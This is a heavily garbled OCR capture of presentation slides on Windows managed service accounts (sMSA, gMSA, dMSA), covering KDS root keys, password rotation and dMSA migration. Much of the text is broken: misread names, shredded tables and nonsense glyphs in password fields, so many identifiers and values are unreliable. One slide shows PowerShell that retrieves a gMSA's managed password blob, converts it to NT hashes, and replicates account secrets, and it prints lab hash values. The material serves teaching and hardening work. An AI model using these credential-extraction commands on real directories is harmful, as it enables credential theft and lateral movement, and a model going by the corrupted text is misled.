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Evolution of Service Accounts

WINDOWS SERVER 2012:

roup Managed Service Accounts
(msDS-GroupManagedServiceAccount)

(gMSA)
_ 2008
R2 \
WINDOWS SERVER 2008R2: WINDOWS SERVER 2025:
tand-Alone Managed Service Accounts elegated Managed Service Accounts
(msDS-ManagedServiceAccount) (msDS-DelegatedManagedServiceAccount)
(sMSA) CLYSN

PS: Throughout presentation you may see “xMSA”, which means “sMSA, gMSA and/or dMSA”



(Legacy) Service Accounts
Common Good, Bad and Ugly Reality

Used for svcs, apps, IS, scheduled tasks, keytabs, etc. (i.e., all over the place)
Based on USER objectClass + "Password Never Expires®
Configured with SPN(s) + RC4 support + Overprivileged

Application owners with multiple svc accounts sharing same password

Very likely crappy/reused password, incl. bad account hygiene
In many occasions no clear/unique/consistent naming convention + reusing
No ownership/periodic recertification = hard to discover, secure and audit i, AD

Prime targets for attackers using the “Kerberoasting Attack” because...



Service Accounts vs xXMSAs

Main benefits of SMSAs/gMSAs/dMSAs over (legacy) service accounts?

 Automatic, better & stronger credential management
RETRY...

What happens when you ask Al: “Kerberoasting Being History!”
Ihe following still applies for SMSAS/gMSAS/AMSAS

 Clear and unique naming convention

»  Ownership and recertification

» Least privilege

* Protecting access to, usage of account and its credentials (incl. server it runs on)



Managed Service Accounts
Stand-Alone (sMSA)

* sMSAs - objectClass = msDS-ManagedServiceAccount

« sMSAs linked to 1 specific computer

* Forward link "msDS-HostServiceAccount" on computer
« Back link "msDS-HostServiceAccountBL" on sSMSA

Operating System Member Of Delegation *assword Replication
i e B,

» SMSA can be transferred to another computer
(relink + reinstall)




Managed Service Accounts

Stand-Alone (sMSA)
 Auto password/SPN management by computer (No KDS Root Key Required)

 Initial password generated and set when installing the SMSA on computer
(Possible to reset password: Reset-ADServiceAccountPassword -Identity <sMSA>)

« sMSA uses the exact same logic/behavior and password update interval as the
computer it is being used on

* Like for computers, following policy settings also impact management of SMSAs

«  Security Option "Domain member: Disable machine account password changes"
(Not Configured = Default = DO Change Password)

«  Security Option "Domain member: Maximum machine account password age"
(Not Configured = Default = 30 Days)

«  Security Option "Domain controller: Refuse machine account password changes®
(Not Configured = Default = DO NOT Refuse Password Changes)



Managed Service Accounts
Stand-Alone (sMSA)

» (et relevant data from all sSMSAs (Stand-Alone Managed Service Accounts) in
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Managed Service Accounts
Group (gMSA)
* gMSAs - objectClass = msDS-GroupI\/IanagedServiceAccounte

 Centralized password management > KDS Root Key (at least 1) in AD Forest

« KDS Root Keys are stored in AD in container: “CN=Master Root Keys, CN=Group Key
Distribution Service, CN=Services, CN=Configuration,DC=<forest name>"

« name (Keyld) - identifier of KDS Root Key object referenced by gMSAs in attributes
"msDS-ManagedPasswordId" and "msDS-ManagedPasswordPreviousld"

* "msKds-CreateTime" (CreationTime) = time KDS Root Key object was created in AD

* "msKds-UseStartTime" (EffectiveTime) = time any RWDC can start using KDS Root
Key Object for gMSAs

For subsequent KDS Root Keys: Create KDS Root Key + Force AD Repl + Restart KDSSVC

» gMSA can be shared by multiple computers or be restricted to just 1 (flexibility!)



Managed Service Accounts

Group (gMSA)
* The inner guts of a gMSA

* "msDS-ManagedPasswordinterval™ password rotation interval in days, set at creation
ONLY. Default of 30 days = too long. Thoughts/suggestion: set it to 3-5 days. Depends
on AD Replication Convergence!. Measure AD Replication Convergence for
Configuration NC through -

* "msDS-ManagedPasswordld“. references keylD
of KDS Root Key currently being used (N).

* "'ms-DS-ManagedPasswordPreviousld®: references
keylD of KDS Root Key previously being used (N-1).
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Managed Service Accounts

Group (gMSA)
* The inner guts of a gMSA (Continued...)

i Idap://ROFSRWDC1.ADTEC.NET/DC=ADTEC,DC=MNET = O

Connection Browse View Options

Neee _ M\ RA_ . _ . I _ .. _ __IN

Utilities  Help

xNsfi

_— o 4 g Dt
iy Idap:/YROFSRODCT.ADTEC.NET/DC=ADTEC, DC=NET = O

Connection Browse View Options

—_ -t _'__ _ RNl

Utilities  Help

= CN=Configuration, DC=ADTEC,DC=NE

- CN=Display5Specifiers,CM=Configu
- CN=Extended-Rights, CN=Configur
- CM=ForestUpdates, CN=Configurat
- CM=LostAndFoundCenfig, CN=Cor
- CM=MTDS Quotas, CN=Configurati
- CM=Partitions, CN=Cenfiguration,[
- CM=Physical Locations,CN=Cenfig
—J- CN="5ervices, CN=Configuration,DC
- CN=_adReplConvergenceCheck
- CN=_adReplConvergenceCheck
- CN=AuthN Policy Configuratior
- CN=Claims Configuration, CM=!
- CN=Device Registration Configu
- CN=Group Key Distribution Sen
é--CN:MasterRootKeys,CN:G
| .CN=29d938ce-6237-400f-
- e

: “..No children
CM=5erver Configuration, Ch
- CM=Microsoft Exchange, CN=5¢
- CN=Microsoft Exchange Autodi
. CN=Microsoft SPP,CN=>5ervices
- CN=MsmugServices, CN=5ervice:
. CM=MetServices, CN=5ervices, C
- CN=Public Key Services, CN="5er
- CN= RRASCN SemcesCN Coil

Expanding baze 'CN=fa841dd7-250a-e56f-4371-a34531431250 Ch=Master Root
Keys, CN=Group Key Distribution Service, CM=Services, CN=Configuration, DC=ADTEC,DC=NET ...
Getting 1 entries:
Dn: CN=faB41dd7-e9a-e667-4371-a34931431250,CN=Master Root Keys, CN=Group Key
Distribution Service,CN=5Services, CN=Configuration,DC=ADTEC,DC=NET
cn: fad41dd7-e80a-e857-4371-a34931431 250,
distinguishedMame; CH=Ta841dd7-e30a-e661-4371-a34931431250,CN=Master Root
Keys, CN=Group Key Distribution
Service, CN=Services, CN=Configuration, DC=ADTEC DC=NET,
dSCorePropagationData: 0x0 = ( };
iiiiiiiiiii H. 1R AOTE N
msKds-CreateTime: 133930021817250000;
meKds-DomainlD: CH=ROFSRWDC1,0U=Domain Controllers, DC=ADTEC DC=NET,;
mzKds-KDFAlgorithmiD: SP200_108_CTR_HMAC;
meKds-KDFParam: <ldp: Binary blob 30 bytes=;
mskds-PrivateKeyLength: 512;
mekds-PublicKeylLength: 2048;
msKds-RootkeyData: <ldp: Binary blob 54 bytes=;
mekds-SecretigreementilgorithmiD: DH;
mekds-SecretigreementParam: <ldp: Binary bleb 524 bytes>;
meKds-UseStartTime: 133529561615957444;
mskds-Version: 1;
L L e e e b
objectCategory: CN=ms-Kds-Prov-
Rootkey CHM=5chema,CN=Configuration, DC=ADTEC DC=NET,
objectClass (2): top; msKds-ProvRootKey,
objectGUID: c210b1d7-f5c6-4dal-8888-3f8d07cceaaa;
showinAdvancedViewOnly: TRUE;
uSNChanged: 698566,
uSHCreated: 598685,
whenChanged: 28-May-2025 16:22:41 W. Europe Daylight Time;
whenCreated: 28-May-2025 16:22:41 W. Europe Daylight Time,

Part of “Filtered Attribute Set (F

=- CN=Cenfiguration, DC=ADTEC, DC=NI
- CN=Display5pecifiers, CN=Configu
- CN=Extended-Rights, CN=Canfigur
- CN=ForestUpdates, CN=Configurat
- CN=LostAndFoundConfig, CN=Cot
- CN=NTD5 Quotas, CN=Configurati
- CN=Partitions, CN=Configuration,[
- CN=Physical Locations, CN=Config
- CN=Services, CN=Configuration, DT

. CN=_adReplConvergenceCheck
- CN=_adReplConvergenceCheck
- CN=AuthN Policy Configuratior
. CN=Claims Configuration, CM=!
. CN=Device Registration Config:
- CN=Group Key Distribution Sen

B CM=Master Root Keys, CM=G

: CN=29d938ce-6237-400f-

i CM=5erver Configuration, Ch
- CN=Microsoft Exchange, CN=5¢
- CN=Microsoft Exchange Autodi
.. CN=Microsoft SPP,CN=5ervices
- CN=MsmaqServices, CN=5ervice!
. CN=MetServices, CN=Services,C
- CN=Public Key Services, CN=5&r
- CM=RRAS,CM=5ervices, CMN=Coi
- CN= Shadow Principal C-:-nflgur.

Expanding base ‘CN=fa841dd7-e80a-e861-4371-a34531431250 CN=NMaster Root
Keys, CN=Group Key Distribution Service CN=Services CN=Configuration DC=ADTEC DC=NET"...
Getting 1 entries:
Dn: CN=faB41dd7-e90a-e66f-4371-a34931431250,CN=Master Root Keys,CN=Group Key
Distribution Service,CN=5ervices, CN=Configuration,DC=ADTEC,DC=NET
cn: fad41dd7-e80a-e657-4371-334831431250;
distinguisheddame: CH=fag41dd7-eS0a-e561-4371-a34931431250, CN=Master Root
Keys CN=Group Key Distribution
Service CN=5Services, CN=Configuration, DC=ADTEC DC=NET,
dSCorePropagationData: 0x0 = )
instanceType: 0x0 = };
name: fagd41dd7-e80a-e651-4371-334831431 250,
objectCategory: CN=ms-Kdz-Prov-
Rootkey CN=5chema, CN=Configuration, DC=ADTEC DC=MET;
objectClass (2): top; msKds-ProvRootKey,
objectGUID: c210b147-f5c6-4dal-8885-3f2d0Tcceaas,;
showInAdvancedViewOnly: TRUE;
uSNChanged: 168135;
uSNCreated: 168139,
whenChanged: 29-May-2025 16:22:57 W. Europe Daylight Time;
whenCreated: 25-May-2025 16:22:41 W. Europe Daylight Time;

Fllter (&(objt.ctCIass-attrlbuteSchema)(searchFlags 1.2.840.113556.1.4. 803 =512))

can be groups, computers, users, other gMSAs, and even dMSAs (Audit Changes')




Managed Service Accounts

Group (gMSA)

O 2 Administrator: Windows Powe X el 1

# Retrieving 'msDS-ManagedPassword' Using LDAP Query When Allowed ONLY Works With gMSA, As For
dMSA A TGS Request Is Needed
$gMSASamAccountName ='GMSA_1DAY_001$'

= $gMSA = Get-ADServiceAccount -Identity SgMSASamAccountName -Properties 'msDS-
ManagedPassword',PasswordLastSet, PrincipalsAllowedToRetrieveManagedPassword -Server $((Get-ADDomain -

DistinguishedName  CN=GMSA_1DAY_001, 0U=TEST, DC=ADTEC, DC=NET Current LocalComputer) PDCEmulator)

Enabled : True

msDS-ManagedPassword : {1, 8, 0, 0...} $gMSA

Name : GMSA_1DAY_801 $managedGmsaPwd = $gMSA.'msDS-ManagedPassword'

ObjectClass : msDS-GroupManagedServiceAccount ConvertFrom-ADManagedPasswordBlob $managedGmsaPwd

OojectiD et ; ggfﬁg;‘ﬁgégg”;‘;‘gg?;g” d-7f2dcdldec3l Write-Host "CURRENT NTHASH.... §(ConvertTo-NTHash -Password $((ConvertFrom-ADManagedPasswordBlob
PrincipalsAllowedToRetrieveManagedPassword : {CN=GroupGMSA_1DAY_B@1,0U=TEST,DC=ADTEC, DC=NET} $managedGmsaPwd).SecureCurrentPassword))"

SamAccountName : GMSA_1DAY_001$ Write-Host "PREVIOUS NTHASH..: $(ConvertTo-NTHash -Password $((ConvertFrom-ADManagedPasswordBlob
SID : §-1-5-21-274783270-2712129839-33549092ug O ¥ Administrator: Windows Powt X $managedGmsaPwd).SecurePreviousPassword))"

UserPrincipalName ]

e 1 DistinguishedName: CN=GMSA_1DAY_@01,0U=TEST,DC=ADTEC,DC=NET

CurrentPassword . EEEonET ™ MR A T ol 2 OB B B0 B ofE oBE ) » 3y SamAccountiName: GHSA_LDAY_0013

BEleiREoE o R 2B T o G Z: MM oEl ot ool IRIFE
RE AN S BRI F W10 T35St S el /8 B B ) R AHE F) 9 vt

SecureCurrentPassword : System.Security.SecureString
PreviousPassword C B EARE S S EEE T EE Y eeiT E L eoeee; EHEE R

Ud EF oo mSHEeE: ¥ BnE U= M T IE ko ooo
SE wtofoR HEUEN VI rBEDIEFEDS S ABRERES )~
SecurePreviousPassword : System.Security.SecureString
QueryPasswordInterval : 14:32:51.4560834
UnchangedPasswordInterval : 14:27:51.U56083L

CURRENT NTHASH...: 63b36dblBc5ccli3c86306e839f7alc76
PREVIOUS NTHASH..:|F75c692672e5a1821bﬂ5c5973c5cec13|

# Works With BOTH gMSA And dMSA
$gMSASamAccountName = 'GMSA_1DAY_001$'

$adAccount = Get-ADReplAccount -SamAccountName $gMSASamAccountName -Server $((Get-
ADDomain -Current LocalComputer).PDCEmulator)
$adAccount

Enabled: True
Deleted: False
Sid: S-1-5-21-27U783270-2712129839-3351909219-10026
Guid: 2dasat32-8bul-UdbT7-b2fd-Tf2dcdldec3l
SamAccountType: Computer
UserAccountControl: WorkstationAccount
DNSHostName: 1DAY_001.ADTEC.NET
OperatingSystem:
OperatingSystemVersion:
Description: gMSA With 1 Day Password Interval
PrimaryGroupld: 515
SidHistory:
SupportedEncryptionTypes: RCU_HMAC, AES128_CTS_HMAC_SHA1_96, AES256_CTS_HMAC_SHA1_96
ServicePrincipalName:
LastlLogonDate:
PasswordLastSet: 29-May-2025 12:306:30
SecurityDescriptor: DiscretionaryAclPresent, SystemAclPresent, DiscretionaryAclAutoInherited, SystemAclAutoInherited,
SelfRelative
LAPS
Key Credentials
Secrets
NTHash: |63b36dbU8c5ccl3cB6306e839F7alc76
LMHash:
NTHashHistory:
Hash ©1:|63b36dbuBc5ccl3cB6306e839f7alc76
Hash 02: |f75c692672e5a1821bU5c5073c5cecl3 |
Hash 03: clia®2led38efal32b28f7b9dcacB8eda




Managed Service Accounts
roup (gMSA)

Get relevant data from all gMSAs (Group Managed Service Accounts) in AD
Domain

DistinguishedName | SamAccountMame | RID Type | dNSH.. | description | Enabled | KerbEncryptType WhenCreated WhenChanged PasswordlLastSetGmsa | Pwdint | PSHC | DUEX
CN=gMSATEST,O... gMSATESTS 12828 gM.. gMSA.. gMSAFor. True RC4, AE5128, AESZ256  2025-05-02 23:25:36  2025-06-10 20:07:49 2025-06-10 20:07:30 1 NO 0982
CN=gMSATEST3.. gMSATEST3$ 12831 gM.. gMSA.. gMSAFor. True RC4, AES128, AES256 2025-05-02 23:25:37 2025-06-10 12:45:2Q 2025-06-10 12:42:38 4 NO 3673
CN=gMSATEST1.. gMSATEST1$ 12829 gM.. gMSA.. gMSAFor. True RC4, AES128, AESZ256 2025-05-02 23:25:36  2025-06-10 12:02:54 2025-06-1000:17:45 2 NO 1.156

CurKDSRootKeyGuid(+KeyCreation) ICurKDSRootKeyOrgRWDCDateTin
be3cf336-9db8-ef50-1efd-a28b0ac2d297 (2025-06-09 13:46:52) QDTCNTROT\ROFSRWDLCZ (2025-06-
be3cf336-9db8-ef30-1efd-aZ8b0ac2d297 (2025-06-09 13:46:52) JDTCNTROT\ROFSRWDC3 (2025-06-
be3cf336-9db8-ef50-1efd-a28b0ac2d297 (2025-06-09 13:46:52) QOTCNTROTVROFSRWDCS (2025-06-

CN=gMSATESTZ.. gMSATEST2$ 12830 gM.. gMS5A.. gMSAFor.. True RC4, AES128, AES256 2025-05-02 23:25:37 2025-06-1012:41:09 2025-06-10 12:40:47 3 NO 2672 B be3dcf336-9db8-efi0-1efd-a28b0ac2d297 (2025-06-09 13:46:52) JOTCNTROTNROFSRWDCT (2025-06-
CM=provAgentgM... pGMSA_fa76e09.. 1602 gM.. ADTEC.. Azure AD.. True RC4, AES128, AES256 2023-02-24 14:00:50 2025-06-06 00:17:04 2023-04-06 09:45:52 30 YES -T6... | 29d938ce-6237-400f-cdd2-e46f8812c2ee (2023-02-24 12:20:55) J46bbO6e5-6a0d-408a-82b1-742d¢
CN=gMSA AAD Cl.. gmsatOAADCIdS$ 2632 gM.. ROFSM.. Tier0|gM.. True RC4, AES128, AES256 2023-04-06 10:32:32 2025-06-10 12:51:44 2025-06-10 12:51:24 30 NO 20.6... ) 29d938ce-6237-400f-cd42-e46f8812c2ee (2023-02-24 12:20:55) JOTCNTROTV\ROFSRWDC2 (2025-06
CMN=gMSAROCDC... gMSARODCS 12885 gM.. gM5A For...  True RC4, AES128, AES256 2025-05-09 12:54:48 2025-06-1012:02:19 2025-06-10 11:57:25 1 NO 0.642 W be3dcfi36-9dbl-efi0-1efd-a28b0ac2d297 (2025-06-09 13:46:52) JOTCNTROTNROFSRWDC3 (2025-06-
CN=gMSA_RO_AA.. gMSA_RD_AADCS 1607 gM.. ROFSM.. gMSAUs.. True AES128, AES256 2023-02-24 19:09:53  2025-05-17 14:16:29 2023-04-06 09:43:52 30 YES -T6... | 29d938ce-6237-400f-cdd2-e46f8812c2ee (2023-02-24 12:20:55) JOTCNTROTNROFSRWDCT (2023-04-
CN=gMSASOL (Ti.. gmsatDS0LS 2633 gM.. SQLAD.. Tierd|gM.. True RC4, AES128, AES256 2023-04-06 10:32:32 2025-05-17 14:16:29 2023-04-06 10:32:32 30 YES -T6... | 29d938ce-6237-400f-cd42-e46f8812c2ee (2023-02-24 12:20:55) JOTCNTROTVROFSRWDCT (2023-04-

CN=GMSAISB18E.. GMSA3SBISEF67. 2015 gM.. 35B18E. GMSAWI. Tue  RC4 AES128, AES256 2023-06-1220:31:23 2025-05-17 14116:2 _2003.08-10 o021, 0 i 29d038ce-6237-400f-cd42-e468812c2ee (2023-02-24 12:20:55) JDTCNTROT\ROFSRWDICT (2023-06
SUREEERIE 5 MSAs In The AD Domain "ADTEC.NET" (SID: 5-1-5-21-274783270-2712129339-3354909249) (2025-06-10 20:33:01)
CN=GMSA35B18
CN=GMSA35618

CN=GMSA35818
—

CN=GMSA35818 CurKDSRootkeyOrgRWDCDateTime PrevKDSRootKeyGuid(+KeyCre... | PrevKDSRootKeyOrgRWD... J| PrincipalsAllowedToRetrieveManagedPasswordCONFIGURED | PrincipalsAllawedToRetrieveManagedPassword EFFECTIVE MemberOf

CN=GMSA35818| 09 1346:52) | DTCNTROT\ROFSRWDC2 (2025-05-10 20:07:30) | be3cf336-0db8-f50-1efd-a28..  DTCNTRO1\ROFSRWDC2 (2... JCN=grp.gs Retrieve-Pwd-For-gMSA.TEST, OU=Groups,OU=...  {SERVERTEST3$ (S-1-5-21-274783270-2712129839-3354909249-1... | {CN=Domain Admins,CN=Users DC=ADTEC, DC=NET}
CN=GMSA35818| 09 13:46:52) | DTCNTROT\ROFSRWDC3 (2025-05-10 12:42:38) l| 8f1#2ec-6515-6624-2a89-44ch...  DTCNTROT\ROFSRWDC3 (2... fCN=grp.gs Retrieve-Pwd-For-gMSATEST3 OU=Groups OU...  {SERVERTEST3$ (S-1-5-21-274783270-2712129839-3354009249-1... | {CN=Domain Admins,CN=Users DC=ADTEC DC=NET}
CN=GMSA33818| 09 13:46:52) | DTCNTROT\ROFSRWDC3 (2025-05-10 00:17:45) l| 8f1#2ec-6515-6624-2380-44cb... DTCNTROT\ROFSRWDC3 (2... CN=grp.gs Retrieve-Pwd-For-gMSA.TEST1 OU=Groups, OU...  {SERVERTEST1$ (5-1-5-21-274783270-2712120830-3354009249-1... | {CN=Domain Admins,CN=Users DC=ADTEC, DC=NET}
CN=GMSA35B18| 09 13:46:52) | DTCNTROT\ROFSRWDCT (2025-06-10 12:40:47) | 8f1f2ec-6515-6624-2a80-44cb... DTCNTROT\ROFSRWDC1 (2... f|CM=grp.gs Retrieve-Pwd-For-gMSATEST2,0U=Groups,OU...  {SERVERTEST2S (S-1-53-21-274783270-2712120839-3354009249-1... | {CN=Domain Admins, CN=Users, DC=ADTEC,DC=NET}
CN=GMSA35B18| 24 12:20:55) | 46bb96e5-630d-408a-82b1-742ddf1€3359 (.. [|29d938ce-6237-400F-cd42-e46... 46bb36e5-6a0d-408a-82b... JCN=ROFSMBSY3,0U=Servers OU=0rg-TMgmt DC=ADTEC.... ROFSMBSV3S (S-1-5-21-274783270-2712129839-3354909249-16... J| {CN=Performance Log Users, CN=Builtin DC=ADTEC. .
CN=GMSA35E18| 24 12:20:55) | DTCNTROT\ROFSRWDC2 (2025-06-10 12:51:25) | 20938 ce-6237-400f-cd42-e46... DTCNTROT\ROFSRWDC2 (2... fCM=grp.gs Tier0-Retrieve-Password-For-gmsat0.AADCIdS,...  ROFSMBSV3§ (S-1-5-21-274783270-2712120830-3354000249-16... | {CN=GRP_RO_AADWriteBack-Attributes, OU=Group...
CN=GMSA35618| 09 13:46:52) | DTCNTROT\ROFSRWDC3 (2025-05-10 11:57:25) | be3cf336-0db8-ef50-1efd-a28..  DTCNTROT\ROFSRWDC3 (2... | CN=grp.gs Retrieve-Pwd-For-gMSARODC,0U=Groups,OU...  SERVERTEST3S (5-1-5-21-274783270-2712129839-3354000249-1... [| {CN=GRP_R0_ALLOWCache-ROFSRODC1,0U=Grou...

CN=GMSA35E18| 24 12:20:55)  DTCNTROT\ROFSRWDCT (2023-04-06 09:43:52) | 20d938ce-6237-400f-cd42-246.. DTCNTROT\ROFSRWDCT (2... JCN=GRP_R0_Servers-AADConnect OU=Groups,0OU=0rg-IT...  ROFSMEBSV3S (5-1-5-21-274783270-27121208309-3254009249-16...
CN=GMSA35B18( 24 12:20:55) | DTCNTROT\ROFSRWDCT (2023-04-06 10:32:32) CN=grp.gs.Tier0-Retrieve-Password-For-gmsa.t0.5QL OU=G...
24 12:20:55) [ DTCNTROT\ROFSRWDC1 (2023-06-12 20:31:23) CN=GroupGMSA35R18EF732,0U=TEST,DC=ADTEC, DC=NET

24 12:20:55) §OTCMNTROTNROFSEWDCT (2023-06-12 20:31:24) CMN=GroupGMSA35B18EF6742 OU=TEST, DC=ADTEC, DC=NET
24 12:2(:55) QOTCNTROT\ROFSRWDCT (2023-06-12 20:31:25) CMN=GroupGMSA35B18EFET52 OU=TEST, DC=ADTEC DC=NET

B9 59 53 53 &3



https://gist.github.com/zjorz/d1906ac04964a29d87bd377e0298eb21

Managed Service Accounts

Delegated (dMSA)

Security descriptor - CN=gMSA.TEST11,0U=gM5A-TESTs, OU=0rg-ITMgmt,DC=ADTEC DC=MNET

Owner

Group

ADTEC\Domain Admins

ADTEC\Domain Admins

N

5D control
SELF_RELATIVE
OWMER_DEFAULTED
GROUP_DEFAULTED

DACL (146 ACEs)

N
gMSA

B PowerShell X

+

PS C:\Users\regular.user> Get—ADServiceAccount

ect | Select Count

PS C:\Users\regular.user>

LIAL

O

| Measure-Obj

Type
Allow
ey
l,":',','
Allow
Allow
Allow

Trustee
CREATOR OWMER

Fyervone

MNT ALUTHORITY \Authenticated Users

Rights

Extended write (Validated write to computer atiributes.)

Control acress (Reset Password)

Flmomrd =y (e mHT R
R S S S S— —

Read
Read property (Exchange Information)

Al e A

MNT AUTHORITY\EMTERPRISE DOMAIN CONTROLLERS  Read property (tokenGroups)

Security descriptor - CN=dMSA.TEST11,0U=dMSA-TESTs, OU=0rg-ITMgmt,DC=ADTEC, DC=MNET

Owner

Group

ADTEC\Domain Admins

ADTECDomain Admins

N

5D control
SELF_RELATIVE
OWMER._DEFAULTED
GROUP_DEFAULTED

DACL (153 ACEs)

N
dMSA

B pPowershell e

Flags
Inherit, Inherit only, Inherited (computer)

Inherit, Inherited
Inherit, Inherit only, Inherited (computer)

+

PS C:\Users\regular.user> Get—ADServiceAccount

—-Object | Select Count

0

PS C:\Users\regular.user>

Type
Allow
Allow
| Deny
Deny
[ Alow

Trustee

Rights

MNT AUTHORITY \ENTERPRISE DOMAIN COMTROLLERS Read oroperty (tokenGroups)

NT AUTHORITY \Authenticated Users
Ewveryone

Ewveryone

CREATOR OWMNER

Read property (Exchanage Information)
Control access (Reset Password)
Read property (msDS-ManagedPassword)

Extended write (Valdated write to computer attributes. )

Flags

Inherit, Inherit only, Inherited (user)
Inherit, Inherited

Inherit, Inherit only, Inherited (computer)

Add...
| Delete

Edit...




Managed Service Accounts
Delegated (dMSA)

* dMSA = gMSA with more steroids and more requirements! Key differences are:

* Unlike gMSA, with regards to a dMSA:
B dMSA support NOT enabled by default

. Not enabling support? = dMSA authN fails with username/password incorrect, logon failure, etc

. Enable support through registry or GPO + realms (=optimize lookup of domains with W2K25 RWDCs)

It supports native use and migration from legacy service account (last is main use case!)
NATIVE dMSA use supports services, IS App Pools but not Scheduled Tasks 1%r

dMSA creation and management is to be considered as Tier 0!




Managed Service Accounts

Delegated (dMSA)
* The inner guts of a dAMSA / Superseded Account

* "'msDS-DelegatedMSAState”; state of AMSA and how it is being used if applicable
0 = Unused (Default)
1 = Migration Start | 2 = Migration End (Migration of legacy service account to dMSA!)
3 = Native Use
* "msDS-SupersededServiceAccountState". state of superseded account
Empty = Not superseded (Default)
1 = Migration Start | 2 = Migration End (Migration of legacy service account to dMSA!)

* "'msDS-ManagedAccountPrecededByLink": DN of legacy service account (a.k.a.
account being superseded) (AT LEAST: how it is intended! ;-) )

* "'msDS-SupersededManagedAccountLink”. DN of dMSA (a.k.a. account superseding)
« adminSDHolder DOES NOT follow link!



elevant data rrom all @ AS (Deleq. Managed Service ACCO 2\D
@
dM5A e AD Domain "AD D 3270 9834 009249) (2025-06-10 0 O
Filter @
DistinguishedMName | SamAccountMame | RID Type | dNSHostMame | descript.. | Enabledl) dMSAState | PrecededAccountDN § KerbEncryptType WhenCreated WhenChanged PasswordLastSetDmsa | Pwdint | PSHC | DUEX | CurkDSRootKeyGuid(+KeyCreation)
CN=dMSA.TESTB,0... dMSATEST8S 12855 dM.. dMSATESTA.. dMSAF.. True MigEnd (2) CN=sWCTESTB,OU.. J RC4, AES128, AES256 2025-05-02 23:31:46 2025-06-06 14:53:.0 2025-05-0223:31:.46 4 YES  -34.887 29d938ce-6237-400f-cd42-e46f8812c2ee (2023-02-24 12
CN=dMSA.SQLOU... dMSASQLS 13612 dM.. dMSASQLAD.. True MigEnd (2) CN=sVC.50L0U=5.. | RC4, AES128, AES256 2025-06-05 12:3%:53  2025-06-10 12:41:5Q 2025-06-1012:41:35 1 NO 0.661 be3cf336-9db8-ef50-1efd-a28b0ac2d297 (2025-06-09 13
CN=dMSAADLDS...  dMSAADLDSmi.. 12049 dM.. dMSAADLDS.. dMSAF.. True MigEnd (2) CN=sVC.ADLDSmi.. | RC4, AES128, AES256 2025-05-15 11:22:19  2025-06-10 20:00:4f 2025-06-10 20:00:20 1 NO 0.966 [l be3cf336-0db8-ef50-1efd-a28b0ac2d207 (2025-06-0% 13
CN=dMS5AADLDS1.. dMSAADLDS1S 12041 dM.. dMSAADLDS.. dMSAF.. True Native (3) RC4, AES128, AES256 2025-05-1511:22:13  2025-06-10 20:01:14  2025-06-10 20:01:14 1 NO 0.966 M be3cf336-9db8-ef50-1efd-a28b0ac2d297 (2025-06-09 13
CN=dMSA.ADLDS2... dMSAADLDS2S 12043 dM.. dMSAADLDS.. dMSAF.. True Native (3) RC4, AES128, AES256 2025-05-15 11:22:15 2025-06-1012:57:0 2025-06-1012:56:43 2 NO 1.672 QW be3cfi36-9db8-ef50-1efd-a28b0ac2d297 (2025-06-09 13
CN=dMSAADLDS...  dMSAADLDSmi.. 12951 dM.. dMSAADLDS.. dMSAF.. True Unused (0) RC4, AES128, AES256 2025-05-1511:22:20 2025-05-25 00:00:54 2025-05-1511:22:20 2 YES  -24.3048 29d938ce-6237-400f-cd42-e46f8812c2ee (2023-02-24 12
CN=dMS5AADLDSN... dMSAADLDSnat.. 12945 dM.. dMSAADLDS.. dMSAF.. True Native (3) RC4, AES128, AES256 2025-05-15 11:22:16  2025-06-10 00:07:44 2025-06-10 00:07:44 1 NO 0,138 QW be3cf336-9db8-ef50-1efd-a28b0ac2d297 (2025-06-09 13
CN=dMSAADLDSn... dMSAADLDSnat.. 12947 dM.. dMSAADLDS.. dMSAF.. True Native (3) RC4, AES128, AES256 2025-05-15 11:22:17 2025-06-10 12:59:24 2025-06-1012:5%:15 2 NO 1.673 W be3cfi36-9db8-ef50-1efd-a28b0ac2d297 (2025-06-09 13
CN=dMSAIIS1,0U..  dMSAIISTS 13609 dM.. NIS1T.ADTEC.MET True Unused (0} RC4, AES128, AES256 2025-06-04 21:15:04  2025-06-04 22:00:08 2025-06-04 21:15:04 30 NO 24017 | 8f1ff2ec-6515-6624-ea89-44cba 1499241 (2025-06-04 12:
CN=dMSARCDCO.. dMSARODCE 12826 dM... dMSAF. True Native (3) RC4, AES128, AES256 2025-05-09 12:53:36  2025-05-28 12:20:28 2025-05-09 12:55:36 1 YES -31.328 8 29d938ce-6237-400f-cd42-e46f8812c2ee (2023-02-24 12
CH=dMSA.TES
CN=dMSATES i = A5 Domain £5 ° et eSS a0 1 S -
CN=dMSATES] | Filter ®
CN=dMSATEST !
CN=dMSATES N
CurKD'SRootKeyOrgRWDCDateTime PrevKDSRootKeyGuid(+KeyCreation) | PrevKDSRootKeyOrgRWDCDateTime § PrincipalsAllowedToRetrieveManagedPasswordCONFIGURED PrincipalsAllowedToRetrieveManagedPasswordEFFECTIVE MemberCf
CN=dMSATES DTCMNTROT\ROFSRWDC1 (2025-05-02 23:31:46) CMN=grp.gs.Retrieve-Pwd-For-dMSATESTS OU=Groups,OU=0rg-TMgmt DC=ADTEC DC=...  SERVERTEST&S (5-1-5-21-274783270-2712129830-3354000249-... §
CN=dMSATES DTCNTROTROFSRWDC2 (2025-06-10 12:41:35) Jbe3cf336-9db8-ef50-1efd-a28b0ac... DTCNTROT\ROFSRWDCZ (2025-06-... | {CN=SERVERTESTZ2,OU=TEST2,0U=Servers,0U=0rg-ITMgmt,DC=ADTEC,DC=NET, CN=SE...  {SERVERTEST2$ (S-1-5-21-274783270-2712129839-3354909249... § §
CN=dMSATES DTCWTROTROFSRWDICZ (2025-06-10 20:00:29) fbe3cf336-9db8-ef50-1efd-a28b0ac... DTCNTROTROFSRWDCZ (2025-06-... § CM=grp.gs.Retrieve-Pwd-For-dMSAADLDSmigl,OU=Groups, OU=0rg-TMgmt, DC=ADTEC... {SERVERTEST2$ (S-1-5-21-274783270-2712129839-3354909249.. § {
CN=dMSATES DTCNTROMROFSREWDCT (2025-06-10 20:01:14) Bbe3cf336-9db8-ef50-1efd-a28blac... DTCNTROTROFSRWDCT (2025-06-... § {CN=ADM TEC CN=Users, DC=ADTEC,DC=NET, CN=grp.gs.Retrieve-Pwd-For-dMSAADLDS...  {ADM.TEC (5-1-5-21-274783270-2712129830-3354909249-500),... 8
CN=dMSATES DTCHNTROTROFSREWDC2 (2025-06-10 20:14:14) R &f1ff2ec-6515-6624-2a80-44cbald... DTCNTROT\ROFSRWDCZ (2025-06-... § CN=grp.gs.Retrieve-Pwd-For-dMSA.ADLDS2,0U=Groups,OU=0rg-TMgmt, DC=ADTECDC... SERVERTEST2S (5-1-5-21-274783270-2712129839-3354009249-.. 4 §)
